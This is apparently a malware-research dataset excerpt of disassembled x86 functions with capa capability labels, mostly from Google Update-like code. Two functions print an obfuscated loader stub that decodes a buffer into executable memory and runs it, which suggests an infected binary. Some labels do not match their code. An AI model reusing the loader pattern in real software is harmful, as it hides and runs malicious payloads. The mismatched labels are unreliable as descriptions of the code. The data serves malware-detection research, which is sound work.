joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18005d9e
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
jne 0x18005e1f
mov byte [esi + 8], 1
call fcn.18063c95
cmp dword [esi + 0x10], 0
je 0x18005e1f
test al, al
je 0x18005dbe
mov byte [esi + 0xa], 1
mov ecx, esi
call fcn.180063ad
test al, al
jne 0x18005de5
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800afd0
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
pop esi
ret
mov ecx, esi
call fcn.18063c95
cmp dword [esi + 0x18], 0
jne 0x18005e0c
push dword [esi + 0x14]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_create_logging_file__s_n
call fcn.1800afd0
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp dword [esi + 0x10], 0
mov byte [esi + 9], 1
je 0x18005e1f
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
pop esi
ret

Function at 0x180063ad
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x10], 0
jne 0x180063ba
xor al, al
pop esi
ret
push 0x1f4
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180063f3
cmp eax, 0x80
je 0x180063f3
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800afd0
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov byte [esi + 9], 0
jmp 0x180063b6
mov al, 1
pop esi
ret

Function at 0x18006d4e
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x18006d84
lea esi, [edi + 4]
test esi, esi
je 0x18006d84
call fcn.1800436d
test al, al
je 0x18006d84
mov ecx, edi
call fcn.1800436d
test al, al
je 0x18006d84
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x18006d86
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x18009077
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push esi
push edi
push str.Global_MSIExecute
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
mov esi, eax
test esi, esi
jne 0x180090ac
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x180090ed
test eax, eax
jle 0x180090db
movzx edi, ax
or edi, 0x80070000
jmp 0x180090ed
push 0x493e0
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180090e6
cmp eax, 0x80
je 0x180090e6
cmp eax, 0x102
je 0x180090df
cmp eax, 0xffffffff
je 0x180090d6
mov edi, 0x80004005
jmp 0x180090ed
call fcn.180125ee
mov edi, eax
jmp 0x180090ed
mov edi, 0x800705b4
jmp 0x180090ed
push esi
call dword [sym.imp.kernel32.dll_ReleaseMutex]
test esi, esi
je 0x180090f8
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x1801262c
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1801269b
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x18012677
push ebx
push edi
push eax
call fcn.1813ced0
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x18012692
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret
Function at 0x1801c602
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1c]
and dword [esi + 0x1c], 0
test ecx, ecx
je 0x1801c616
mov eax, dword [ecx]
push 1
call dword [eax]
push 0
lea ecx, [esi + 0x18]
call fcn.18063c95
mov ecx, dword [0x181b95a8]
pop esi
mov ecx, dword [ecx]
jmp fcn.18015985
Function at 0x18030f76
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x180310c9
mov edx, 0x10000000
cmp eax, 0x7c
je 0x180310c9
cmp eax, 0x29
jne 0x18030faf
cmp dword [esi + 0x10], 0
jne 0x180310c9
test dword [esi + 0x50], edx
je 0x180310cf
cmp eax, 0x2e
jne 0x18030fca
push 5
lea ecx, [esi + 0x24]
call fcn.18063c95
mov ecx, esi
call fcn.18030f4d
jmp 0x180310b3
cmp eax, 0x5c
jne 0x1803101f
mov ecx, esi
call fcn.18030f4d
test byte [esi + 0x50], 0x80
je 0x18031013
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x18030ffb
push 4
lea ecx, [esi + 0x24]
call fcn.18063c95
mov ecx, esi
call fcn.18030f4d
jmp 0x180310ba
cmp eax, 0x42
jne 0x18031013
push 4
lea ecx, [esi + 0x24]
call fcn.18063c95
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x18030fef
mov ecx, esi
call fcn.18031cd0
jmp 0x180310b3
cmp eax, 0x5b
jne 0x1803103f
mov ecx, esi
call fcn.18030f4d
mov ecx, esi
call fcn.18031c84
cmp dword [esi + 0x4c], 0x5d
je 0x18030fbe
push 4
jmp 0x180310d1
cmp eax, 0x28
jne 0x1803105c
mov ecx, esi
call fcn.18030f4d
mov ecx, esi
call fcn.18031da9
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x180310cf
jmp 0x180310a8
cmp eax, 0x5e
jne 0x18031065
push 2
jmp 0x18030fe7
cmp eax, 0x24
jne 0x18031071
push 3
jmp 0x18030fe7
cmp eax, 0x2a
je 0x180310c5
cmp eax, 0x2b
je 0x180310c5
cmp eax, 0x3f
je 0x180310c5
cmp eax, 0x7b
je 0x180310c5
cmp eax, 0x7d
jne 0x1803108f
test dword [esi + 0x50], edx
je 0x180310c1
cmp eax, 0x5d
jne 0x18031099
test dword [esi + 0x50], edx
je 0x18031038
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.18063c95
mov bl, 1
mov ecx, esi
call fcn.18030f4d
test bl, bl
je 0x180310ba
mov ecx, esi
call fcn.18063c95
mov cl, 1
jmp 0x18030f7d
push 6
jmp 0x180310d1
push 0xa
jmp 0x180310d1
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.18063c95
int3

Function at 0x1803d198
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
xor edi, edi
push edi
push dword [ecx]
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x1803d1db
push str.GOOGLEUPDATEAPPLICATIONCOMMANDS
push 1
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x1803d1db
push ebx
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
cmp eax, 4
jne 0x1803d209
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x1803d1f2
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x1803d20e
movzx edi, di
or edi, 0x80070000
jmp 0x1803d20e
push eax
call dword [sym.imp.kernel32.dll_LockResource]
test eax, eax
jne 0x1803d204
mov edi, 0x80070006
jmp 0x1803d20e
cmp dword [eax], 1
je 0x1803d20e
mov edi, 0x8000ffff
test esi, esi
je 0x1803d219
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x18063c95
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x18063ca4
pop dword [ebp - 0x50]
mov eax, 0x18063ca4
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0xca514
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x14156481
sub ecx, 0x14151610
mov edx, eax
mov edi, 0x1bf0cf1f
add edi, 0xfc2cdae1
add edi, dword [ebp - 0x50]
mov esi, 0x5c7358a2
add esi, 0xbdfa2343
sub dword [ebp - 4], 0x4b17fcfa
mov ebx, dword [edi]
mov dword [ebp - 0x34], 0x49bd174b
sub ebx, esi
sub dword [ebp - 0x18], edi
mov dword [edx], ebx
xor dword [ebp - 0x24], edx
add edx, 4
add edi, 0xd56784a7
sub edi, 0xd56784a3
loop 0x18063cf9
add eax, 0x12c97
xor ebx, ebx
add ebx, eax
add eax, 0x7ad565b6
sub eax, 0x7ad565b1
mov ecx, 0xcd9dc642
add ecx, 0x4a6239be
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1807fd23
Capabilities:
Inspect section memory permissions

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
mov ebx, dword [edi]
test bl, bl
je 0x1807fd98
test bl, 1
je 0x1807fd3e
lea ecx, [esi + 0x14]
call fcn.1804f11e
test bl, 2
je 0x1807fd4b
mov ecx, dword [esi + 0x18]
call fcn.18054ab6
test bl, 4
je 0x1807fd58
mov ecx, dword [esi + 0x1c]
call fcn.180550d8
test bl, 8
je 0x1807fd65
mov ecx, dword [esi + 0x20]
call fcn.18063c95
test bl, 0x10
je 0x1807fd72
mov ecx, dword [esi + 0x24]
call fcn.1805b3c3
test bl, 0x20
je 0x1807fd7f
mov ecx, dword [esi + 0x28]
call fcn.1805b3c3
test bl, 0x40
je 0x1807fd8c
mov ecx, dword [esi + 0x2c]
call fcn.180712a9
test bl, bl
jns 0x1807fd98
mov ecx, dword [esi + 0x30]
call fcn.180550d8
test ebx, 0xff00
je 0x1807fe24
test ebx, 0x100
je 0x1807fdb4
mov ecx, dword [esi + 0x34]
call fcn.18053630
test ebx, 0x200
je 0x1807fdc4
mov ecx, dword [esi + 0x38]
call fcn.180719f8
test ebx, 0x400
je 0x1807fdd4
mov ecx, dword [esi + 0x3c]
call fcn.180725e6
test ebx, 0x800
je 0x1807fde4
mov ecx, dword [esi + 0x40]
call fcn.180725e6
test ebx, 0x1000
je 0x1807fdf4
mov ecx, dword [esi + 0x44]
call fcn.18063c95
test ebx, 0x2000
je 0x1807fe04
mov ecx, dword [esi + 0x48]
call fcn.18052fd5
test ebx, 0x4000
je 0x1807fe14
mov ecx, dword [esi + 0x4c]
call fcn.18052fd5
test ebx, 0x8000
je 0x1807fe24
mov ecx, dword [esi + 0x50]
call fcn.180550d8
test ebx, 0xff0000
je 0x1807feb0
test ebx, 0x10000
je 0x1807fe40
mov ecx, dword [esi + 0x54]
call fcn.180550d8
test ebx, 0x20000
je 0x1807fe50
mov ecx, dword [esi + 0x58]
call fcn.18075505
test ebx, 0x40000
je 0x1807fe60
mov ecx, dword [esi + 0x5c]
call fcn.180550d8
test ebx, 0x80000
je 0x1807fe70
mov ecx, dword [esi + 0x60]
call fcn.18063c95
test ebx, 0x100000
je 0x1807fe80
mov ecx, dword [esi + 0x64]
call fcn.18053630
test ebx, 0x200000
je 0x1807fe90
mov ecx, dword [esi + 0x68]
call fcn.180550d8
test ebx, 0x400000
je 0x1807fea0
mov ecx, dword [esi + 0x6c]
call fcn.180550d8
test ebx, 0x800000
je 0x1807feb0
mov ecx, dword [esi + 0x70]
call fcn.180550d8
test ebx, 0xff000000
je 0x1807ff47
test ebx, 0x1000000
je 0x1807fecc
mov ecx, dword [esi + 0x74]
call fcn.18072005
test ebx, 0x2000000
je 0x1807fedc
mov ecx, dword [esi + 0x78]
call fcn.180550d8
test ebx, 0x4000000
je 0x1807feec
mov ecx, dword [esi + 0x7c]
call fcn.1805b3c3
test ebx, 0x8000000
je 0x1807feff
mov ecx, dword [esi + 0x80]
call fcn.18058c43
test ebx, 0x10000000
je 0x1807ff12
mov ecx, dword [esi + 0x84]
call fcn.18075ae1
test ebx, 0x20000000
je 0x1807ff25
mov ecx, dword [esi + 0x88]
call fcn.180550d8
test ebx, 0x40000000
je 0x1807ff38
mov ecx, dword [esi + 0x8c]
call fcn.1807ccea
test ebx, ebx
jns 0x1807ff47
mov ecx, dword [esi + 0x90]
call fcn.18054756
test byte [esi + 0xc], 1
je 0x1807ff58
mov ecx, dword [esi + 0x94]
call fcn.1807024c
push 8
push 0
push edi
call fcn.1813c650
add esp, 0xc
lea ecx, [esi + 4]
test byte [ecx], 1
pop edi
pop esi
pop ebx
jne fcn.1808603e
ret
Function at 0x180a0f06
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push dword [edi + 4]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov esi, eax
mov eax, dword [edi + 8]
cmp eax, esi
je 0x180a0f31
test eax, eax
je 0x180a0f2c
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], esi
mov eax, esi
test eax, eax
je 0x180a0f43
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
setne bl
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x180b2e5f
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x181b3008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1813c650
add esp, 0xc
mov dword [ebp - 0x20c], 0x100
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push 3
call dword [sym.imp.kernel32.dll_GetComputerNameExW]
xor ebx, ebx
inc ebx
test eax, eax
je 0x180b2ec6
push ebx
mov edx, str..google.com
lea ecx, [ebp - 0x204]
call fcn.18063c95
pop ecx
test al, al
jne 0x180b2f0b
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x208]
push esi
push eax
push 0x64
push 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
mov esi, dword [ebp - 0x208]
test eax, eax
jne 0x180b2f01
cmp dword [esi + 8], eax
je 0x180b2f01
push str.google
push dword [esi + 8]
call fcn.18063c95
pop ecx
pop ecx
test eax, eax
je 0x180b2f03
xor bl, bl
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop esi
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.18139b3f
leave
ret

Function at 0x180b7880
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x180b7890
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x180b7896
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x180b78be
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x18187550]
test ax, ax
jne 0x180b78a5
mov esi, ecx
jmp 0x180b78c1
movzx esi, si
pop edi
cmp cx, si
je 0x180b78de
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x18187550]
test cx, cx
jne 0x180b78c2
mov eax, 0x18171bbc
jmp 0x180b78e6
imul eax, edx, 0x1a
add eax, 0x18187552
push eax
mov ecx, ebx
call fcn.18063c95
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x180c4536
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esi + 8]
mov eax, dword [ecx]
call dword [eax + 0xc]
test eax, eax
jg 0x180c43f2
movzx ecx, byte [0x181baf06]
neg ecx
sbb ecx, ecx
and ecx, 0x181ba200
je 0x180c43cd
push 7
pop edx
xor eax, eax
mov dword [ebp - 0x10], ecx
inc eax
mov dword [ebp - 0xc], edx
push eax
push edx
mov dword [ebp - 8], eax
call fcn.18063c95
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push str._Google_Update_core_is_shutting_down..._
push eax
call fcn.18063c95
pop ecx
pop ecx
push 0
push 0
push 0x12
push dword [esi + 0x4c]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
jne 0x180c43f2
push 0x80004004
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
xor eax, eax
pop esi
leave
ret
push esi
mov esi, ecx
call fcn.18063c95
mov ecx, esi
pop esi
test al, al
je 0x180c437c
jmp fcn.180c454e
Function at 0x180c6197
Capabilities:
Check if file exists

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x100
mov eax, dword [0x181b3008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 8]
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebx + 0x10]
push esi
mov dword [ebp - 0xd8], ecx
xor ecx, ecx
push edi
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x24], ecx
mov byte [ebp - 0x34], cl
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
lea ecx, [ebp - 0xfc]
push eax
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0x20], 0xf
call fcn.18063c95
push 0xc
call fcn.18063c95
mov esi, eax
lea edi, [ebp - 0xfc]
pop ecx
mov dword [ebp - 0xe4], esi
lea ecx, [esi + 0xc]
mov dword [ebp - 0xdc], ecx
push edi
mov ecx, esi
call fcn.18063c95
add edi, 0xc
lea eax, [ebp - 0xf0]
add esi, 0xc
cmp edi, eax
jne 0x180c6231
mov edi, dword [ebp - 0xc8]
lea eax, [ebp - 0xbc]
push 3
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xc0], eax
push dword [edi]
call fcn.18063c95
mov ecx, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x180c6288
sub ecx, edx
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1c]
call fcn.18063c95
mov edx, dword [ebp - 0xd0]
lea eax, [ebp - 0x34]
push ecx
push eax
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1c]
call fcn.18063c95
add esp, 0x10
lea ecx, [ebp - 0x1c]
test eax, eax
setne byte [ebp - 0xc1]
call fcn.1800de13
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0xc0], eax
je 0x180c62ef
push dword [ebp - 0xc0]
call fcn.18140476
pop ecx
lea ecx, [ebp - 0xe4]
call fcn.18063c95
lea ecx, [ebp - 0xfc]
call fcn.1800ae74
lea ecx, [ebp - 0xf0]
call fcn.1800ae74
cmp byte [ebp - 0xc1], 0
je 0x180c6325
mov dword [ebp - 0xcc], 0x80092009
jmp 0x180c639e
mov esi, dword [ebp - 0xd4]
mov ecx, edi
mov edx, esi
call fcn.18063c95
test al, al
jne 0x180c6344
mov dword [ebp - 0xcc], 0x8000ffff
jmp 0x180c639e
mov ecx, dword [esi]
sub ecx, 0x10
call fcn.1800690f
add eax, 0x10
lea ecx, [ebp - 0xc8]
push str.GoogleUpdateSetup.exe
mov dword [ebp - 0xc8], eax
call fcn.18063c95
mov esi, dword [ebp - 0xc8]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180c6384
mov dword [ebp - 0xcc], 0x80070002
jmp 0x180c6396
mov ecx, dword [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push eax
call fcn.18063c95
lea ecx, [esi - 0x10]
call fcn.18004135
lea ecx, [ebp - 0x34]
call fcn.1800de13
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xcc]
xor ecx, ebp
pop edi
pop esi
call fcn.18139b3f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x100238a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100238af
pop dword [ebp - 0x34]
mov eax, 0xbfaf27ba
add eax, 0x505310f5
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x88494
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x4112
xor edx, edx
add edx, eax
mov ebx, 0x1020fa00
add ebx, dword [ebp - 0x34]
mov edi, 0xd0195e57
add edi, 0xb0e3ab83
add dword [ebp - 0x30], ecx
mov esi, dword [ebx]
sub esi, edi
xor dword [ebp - 0x1c], ecx
mov dword [edx], esi
sub dword [ebp - 8], 0xbed6caf4
add edx, 0xd53794a2
add edx, 0x2ac86b62
add ebx, 4
loop 0x100238ff
add eax, 0x4aaa4c95
sub eax, 0x4aa9557a
xor ebx, ebx
add ebx, eax
add eax, 0x7726c68d
add eax, 0x88d93978
mov ecx, 0x477c208f
add ecx, 0xc883df71
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10032b90
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x101fac9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101fe4b0]
mov dword [ebp - 0x60], 0
test eax, eax
jne 0x10032c7f
push 0x55
push 0x101fe4b8
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10032c68
push esi
push 0x55
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.10108310
add esp, 0xc
mov esi, 0x2d
xor edx, edx
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [edx*2 + 0x101fe4b8]
cmp eax, 0x5f
movzx ecx, al
cmove ecx, esi
mov byte [ebp + edx - 0x5c], cl
test cl, cl
je 0x10032c13
inc edx
cmp edx, 0x55
jl 0x10032bf0
mov byte [ebp - 8], 0
push 0x41
call fcn.100238a0
mov esi, eax
add esp, 4
test esi, esi
je 0x10032c67
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.100238a0
add esp, 0x10
cmp dword [ebp - 0x60], 0
jg 0x10032c5e
push 0x10032340
push 0x15
mov byte [eax + esi], 0
mov dword [0x101fe4b0], esi
mov byte [0x101fe4b4], 1
call fcn.100238a0
add esp, 8
jmp 0x10032c67
push esi
call fcn.100238a0
add esp, 4
pop esi
mov eax, dword [0x101fe4b0]
mov ecx, 0x10166518
test eax, eax
cmovne ecx, eax
mov dword [0x101fe4b0], ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e580b
mov esp, ebp
pop ebp
ret
Function at 0x100342a0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [0x101fac9c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x358], 0
push edi
push 0x1b0
push eax
mov dword [ebp - 0xc], eax
xor edi, edi
mov word [ebp - 8], ax
mov word [ebp - 0x35c], ax
mov byte [ebp - 0x35a], al
lea eax, [ebp - 0x354]
push eax
call fcn.10108310
push 0x80
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.10108310
push 0x80
lea eax, [ebp - 0x8c]
push edi
push eax
call fcn.10108310
add esp, 0x24
lea eax, [ebp - 0x354]
push eax
call dword [sym.imp.kernel32.dll_GetDynamicTimeZoneInformation]
cmp eax, 0xffffffff
je 0x100343be
push 0x10
call dword [sym.imp.kernel32.dll_GetUserGeoID]
push edi
push 3
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.kernel32.dll_GetGeoInfoW]
mov ebx, eax
lea eax, [ebp - 0x358]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x35c]
push 3
push eax
call fcn.100238a0
lea eax, [ebp - 0x358]
push eax
push str.windowsZones
push edi
call fcn.100238a0
mov esi, eax
lea eax, [ebp - 0x358]
push eax
push esi
push str.mapTimezones
push esi
call fcn.100238a0
lea eax, [ebp - 0x358]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2a8]
push eax
push edi
lea eax, [ebp - 0x10c]
push 0x80
push eax
call fcn.100238a0
add esp, 0x4c
cmp dword [ebp - 0x358], edi
jle 0x100343d1
test esi, esi
je 0x100343be
push esi
call fcn.100238a0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e580b
mov esp, ebp
pop ebp
ret
cmp word [ebp - 0x2a8], di
je 0x100344b6
lea ecx, [ebp - 0x1a4]
call sym.icuuc67.dll_public:_void___thiscall_icu_67::StackUResourceBundle::constructor_void_
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.100238a0
add esp, 0x10
cmp dword [ebp - 0x358], edi
jg 0x100344ab
test ebx, ebx
je 0x10034441
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x1a4]
push eax
call fcn.100238a0
mov ecx, eax
add esp, 0x10
test ecx, ecx
jne 0x1003446b
lea eax, [ebp - 0x358]
mov dword [ebp - 0x358], edi
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x1a4]
push 0x101684d4
push eax
call fcn.100238a0
add esp, 0x10
mov ecx, eax
cmp dword [ebp - 0x358], edi
jg 0x100344ab
movzx eax, word [ecx]
xor edx, edx
test ax, ax
je 0x100344a3
mov ebx, eax
nop
cmp bx, 0x20
je 0x1003449b
add ecx, 2
mov byte [ebp + edx - 0x8c], bl
inc edx
movzx eax, word [ecx]
mov ebx, eax
test ax, ax
jne 0x10034480
cmp edx, 0x80
jae 0x100344f0
mov byte [ebp + edx - 0x8c], 0
lea ecx, [ebp - 0x1a4]
call sym.icuuc67.dll_public:_void___thiscall_icu_67::StackUResourceBundle::destructor_void_
cmp byte [ebp - 0x8c], 0
je 0x100344d0
lea eax, [ebp - 0x8c]
push eax
call fcn.100238a0
add esp, 4
mov edi, eax
test esi, esi
je 0x100344dd
push esi
call fcn.100238a0
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100e580b
mov esp, ebp
pop ebp
ret
call fcn.100238a0
int3